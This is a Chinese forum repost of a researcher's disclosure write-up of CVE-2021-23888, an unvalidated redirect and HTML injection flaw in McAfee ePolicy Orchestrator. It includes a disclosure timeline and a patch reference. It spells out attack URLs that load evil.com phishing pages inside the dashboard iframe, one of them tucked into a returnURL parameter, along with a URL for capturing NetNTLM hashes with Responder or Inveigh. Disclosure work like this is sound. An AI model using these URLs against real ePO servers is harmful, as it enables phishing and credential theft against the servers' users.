搜索

[28843] 2021-04-05_CVE-2021-23888-McAfeeePolicyOrchestratorHTML注入

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2021-04-05_CVE-2021-23888-McAfeeePolicyOrchestratorHTML注入 C V E - 2 0 2 1 - 2 3 8 8 8 - M c A f e e   e P o l i c y   O r c h e s t r a t o r   H T M L 注 入 O t s 安 全   2 0 2 1 - 0 4 - 0 5 产 品 ： 5 . 1 0   U p d a t e   1 0 之 前 的 M c A f e e   e P o l i c y   O r c h e s t r a t o r （ e P O ） 类 型 ： O W A S P   2 0 1 3 年 十 大 类 别 A 1 0 - 未 经 验 证 的 重 定 向 和 转 发 摘 要 ： 5 . 1 0   U p d a t e   1 0 之 前 的 M c A f e e   e P o l i c y   O r c h e s t r a t o r （ e P O ） 中 未 经 验 证 的 客 户 端 U R L 重 定 向 漏 洞 可 能 导 致 经 过 身 份 验 证 的 e P O 用 户 在 e P O   I F R A M E 中 加 载 不 受 信 任 的 站 点 ， 这 可 能 会 从 经 过 身 份 验 证 的 用 户 那 里 窃 取 信 息 。 这 将 要 求 攻 击 者 诱 使 e P O 用 户 单 击 恶 意 链 接 ， 同 时 通 过 与 单 击 恶 意 链 接 相 同 的 浏 览 器 登 录 e P O 服 务 器 。 介 绍 介 绍 在 P u r p l e   T e a m 内 部 评 估 中 ， 我 通 常 负 责 测 试 关 键 的 公 司 基 础 架 构 和 软 件 。 在 这 种 情 况 下 ， 我 们 的 团 队 需 要 测 试 我 们 公 司 使 用 的 M c A f e e   e P o l i c y   O r c h e s t r a t o r 部 署 。 在 评 估 过 程 中 ， 我 注 意 到 对 p o s t M e s s a g e 和 W e b s o c k e t s 的 大 量 使 用 ， 但 其 中 一 件 特 别 的 事 与 众 不 同 - 地 址 栏 中 的 U R L 结 构 。 访 问 M c A f e e   e P o l i c y   O r c h e s t r a t o r 仪 表 板 的 常 规 I P   /   U R L 时 ， 通 常 可 以 在 浏 览 器 地 址 栏 上 看 到 以 下 内 容 ： 该 / c o r e / o r i o n D e f a u l t P a g e . d o 片 段 实 际 上 只 是 一 个 H T T P 终 结 点 ， 并 且 与 许 多 其 他 片 段 一 样 ， 将 在 “ 顶 部 仪 表 板 控 制 栏 ” 下 方 的 I F R A M E 中 呈 现 ， 该 片 段 本 身 也 将 在 上 方 的 另 一 个 I F R A M E 中 呈 现 。 注 意 到 这 一 点 之 后 ， 我 尝 试 做 的 第 一 件 事 是 注 入 一 个 简 单 的 跨 站 点 脚 本 有 效 负 载 并 查 看 发 生 了 什 么 ： 但 是 ， W e b 应 用 程 序 正 确 过 滤 了 有 效 负 载 以 及 我 向 其 触 发 的 许 多 其 他 有 效 负 载 。 我 决 定 检 查 执 行 过 滤 的 J a v a s c r i p t 代 码 （ 不 幸 的 是 ， 我 完 全 忘 记 了 要 在 此 处 显 示 的 更 多 屏 幕 截 图 ） ， 并 注 意 到 我 可 以 做 这 样 的 事 情 ： 现 在 ， 仪 表 板 将 在 I F R A M E 的 “ 顶 部 仪 表 板 控 制 栏 ”   I F R A M E 下 方 显 示 G o o g l e 搜 索 页 。 使 用 这 种 简 单 的 双 斜 杠 有 效 载 荷 ， 可 以 将 “ 网 站 ” 上 的 任 何 网 站 “ 注 入 ” ， 并 给 出 将 仪 表 板 呈 现 给 用 户 的 方 式 ， 这 将 使 网 络 钓 鱼 攻 击 非 常 有 说 服 力 ， 并 且 还 可 以 用 于 执 行 N e t N T L M   H a s h   L e a k 攻 击 。 网 络 钓 鱼 方 案 ： 网 络 钓 鱼 方 案 ： 给 定 M c A f e e   e P o l i c y   O r c h e s t r a t o r 的 常 规 I P   /   U R L ： 攻 击 者 仅 需 要 在 哈 希 （ ＃ ） 之 后 将 端 点 交 换 到 恶 意 域 /   U R L ， 并 将 U R L 发 送 给 有 权 访 问 仪 表 板 的 用 户 ： h t t p s : / / e p o - h o s t : 8 4 4 3 / c o r e / o r i o n N a v i g a t i o n L o g i n . d o # / c o r e / o r i o n D e f a u l t P a g e . d o h t t p s : / / e p o - h o s t : 8 4 4 3 / c o r e / o r i o n N a v i g a t i o n L o g i n . d o # / / j a v a s c r i p t : a l e r t ( 1 ) ) h t t p s : / / e p o - h o s t : 8 4 4 3 / c o r e / o r i o n N a v i g a t i o n L o g i n . d o # / / g o o g l e . c o m h t t p s : / / e p o - h o s t : 8 4 4 3 / c o r e / o r i o n N a v i g a t i o n L o g i n . d o # / c o r e / o r i o n D e f a u l t P a g e . d o h t t p s : / / e p o - h o s t : 8 4 4 3 / c o r e / o r i o n N a v i g a t i o n L o g i n . d o # / / e v i l . c o m / p h i s h - p a g e . p h p
显 然 ， 恶 意 域 不 得 将 X - F r a m e - O p t i o n s 设 置 为 “   D E N Y ” 或 “   S A M E O R I G I N ” ， 以 便 将 域 加 载 到 I F R A M E 上 ， 但 是 由 于 攻 击 者 控 制 其 自 己 的 网 站 ， 所 以 这 并 不 是 真 正 的 问 题 。 对 于 更 实 际 的 网 络 钓 鱼 攻 击 ， 可 以 利 用 仪 表 板 许 可 端 点 及 其 G E T 参 数 来 构 建 更 具 说 服 力 的 U R L   r e t u r n U R L 。 这 为 网 络 钓 鱼 电 子 邮 件 提 供 了 更 好 的 背 景 信 息 （ 例 如 ： 许 可 问 题 ） ： 上 面 的 链 接 将 目 标 用 户 拖 放 到 仪 表 板 的 “ 许 可 证 密 钥 ” 设 置 上 ， 并 且 在 用 户 执 行 任 何 操 作 （ 保 存 或 取 消 ） 之 后 ， 该 用 户 将 被 重 定 向 到 “ 仿 冒 网 站 ” 页 面 ： e P O 用 户 用 户 N e t N T L M 哈 希 方 案 的 泄 漏 （ 忘 记 再 次 截 图 ） ： 哈 希 方 案 的 泄 漏 （ 忘 记 再 次 截 图 ） ： 指 向 运 行 R e s p o n d e r 或 I n v e i g h 的 主 机 ， 并 将 U R L 发 送 给 有 权 访 问 仪 表 板 的 用 户 ： 时 间 线 时 间 线 2 0 2 0 - 0 9 - 0 7 ： 报 告 了 M c A f e e 的 H a c k e r O n e 漏 洞 计 划 问 题 。 2 0 2 0 - 0 9 - 0 8 ： 报 告 已 分 类 。 2 0 2 0 - 0 9 - 2 1 ： 状 态 反 馈 请 求 已 发 送 。 2 0 2 0 - 0 9 - 2 1 ： 收 到 反 馈 - M c A f e e 正 在 内 部 评 估 问 题 。 2 0 2 0 - 1 0 - 0 5 ： 收 到 反 馈 - 问 题 已 得 到 确 认 ， 迈 克 菲 正 计 划 解 决 该 问 题 。 2 0 2 0 - 1 0 - 0 6 ： 状 态 反 馈 请 求 已 发 送 。 2 0 2 0 - 1 2 - 0 2 ： 状 态 反 馈 请 求 已 发 送 。 2 0 2 0 - 1 2 - 0 2 ： 收 到 反 馈 - 2 0 2 1 年 第 一 季 度 补 丁 发 布 时 间 表 和 C V E 分 配 2 0 2 1 - 0 3 - 0 8 ： 状 态 反 馈 请 求 已 发 送 。 2 0 2 1 - 0 3 - 0 8 ： 收 到 反 馈 - M c A f e e 团 队 仍 在 内 部 解 决 此 问 题 2 0 2 1 - 0 3 - 0 8 ： 收 到 了 反 馈 - 2 0 2 1 年 3 月 晚 些 时 候 发 布 了 补 丁 2 0 2 1 - 0 3 - 0 9 ： 状 态 反 馈 请 求 已 发 送 。 2 0 2 1 - 0 3 - 1 2 ： 收 到 反 馈 - 要 求 提 供 C V E 和 补 丁 程 序 信 息 的 信 息 2 0 2 1 - 0 3 - 1 2 ： 信 息 已 发 送 给 M c A f e e 2 0 2 1 - 0 3 - 1 2 ： 请 求 获 得 有 关 此 问 题 的 博 客 文 章 的 创 建 权 限 2 0 2 1 - 0 3 - 1 5 ： 收 到 了 反 馈 - 迈 克 菲 （ M c A f e e ） 希 望 在 发 布 之 前 做 出 贡 献 并 对 其 进 行 审 阅 2 0 2 1 - 0 3 - 1 5 ： 已 将 有 关 博 客 文 章 详 细 信 息 的 信 息 发 送 给 M c A f e e 2 0 2 1 - 0 3 - 1 5 ： 收 到 了 反 馈 - 保 留 C V E - 2 0 2 1 - 2 3 8 8 8 ， 并 且 正 在 起 草 公 告 号 S B 1 0 3 5 2 2 0 2 1 - 0 3 - 2 6 ： 收 到 反 馈 - 发 布 了 补 丁 和 补 丁 公 告 - h t t p s : / / k c . m c a f e e . c o m / c o r p o r a t e / i n d e x ? p a g e = c o n t e n t & i d = S B 1 0 3 5 2 h t t p s : / / e p o - h o s t : 8 4 4 3 / S o f t w a r e M g m t / e n t e r L i c e n s e K e y . d o ? r e t u r n U R L = % 2 f . . % 2 f c o r e % 2 f o r i o n N a v i g a t i o n L o g i n . d o % 2 3 % 2 f % 2 f e v i l . c o m % 2 f p h i s h - p a g e . p h p h t t p s : / / e p o - h o s t : 8 4 4 3 / c o r e / o r i o n N a v i g a t i o n L o g i n . d o # / / e v i l . c o m / p h i s h - p a g e . p h p   h t t p s : / / e p o - h o s t : 8 4 4 3 / c o r e / o r i o n N a v i g a t i o n L o g i n . d o # / / h o s t - r u n n i n g - r e s p o n d e r - o r - i n v e i g h
2 0 2 1 - 0 3 - 2 7 ： 发 布 此 职 位 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理